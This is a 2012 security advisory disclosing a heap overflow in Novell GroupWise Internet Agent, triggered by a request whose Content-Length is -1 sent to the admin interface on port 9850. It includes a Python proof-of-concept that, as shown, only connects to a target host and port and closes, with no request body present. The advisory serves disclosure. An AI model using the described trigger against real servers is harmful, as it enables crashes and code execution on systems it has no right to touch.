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Application: Novell Groupwise
Platforms: Windows
Version: 8.0.2 HP3 and 2012
Secunia: SA50622
{PRL}: 2012-28
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
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1) Introduction
2) Report Timeline
3) Technical details
4) The Code
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1) Introduction
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Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in
enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental
in making the Utah Valley a focus for technology and software development. Novell technology contributed to the
emergence of local area networks, which displaced the dominant mainframe computing model and changed computing
worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.
(http://en.wikipedia.org/wiki/Novell)
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2) Report Timeline
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2012-02-03 Vulnerability reported to Secunia
2012-09-14 Publication of this advisory
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3) Technical details
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The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe)
when copying request data and can be exploited to cause a heap-based buffer overflow by e.g.
sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based
administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code.
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4) The Code
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#!/usr/bin/python
import sys,os,socket
if len(sys.argv) < 3:
print "Usage: host,port"
sys.exit(0)
host=sys.argv[1]
port=int(sys.argv[2])
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
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print "done!"
sock.close()
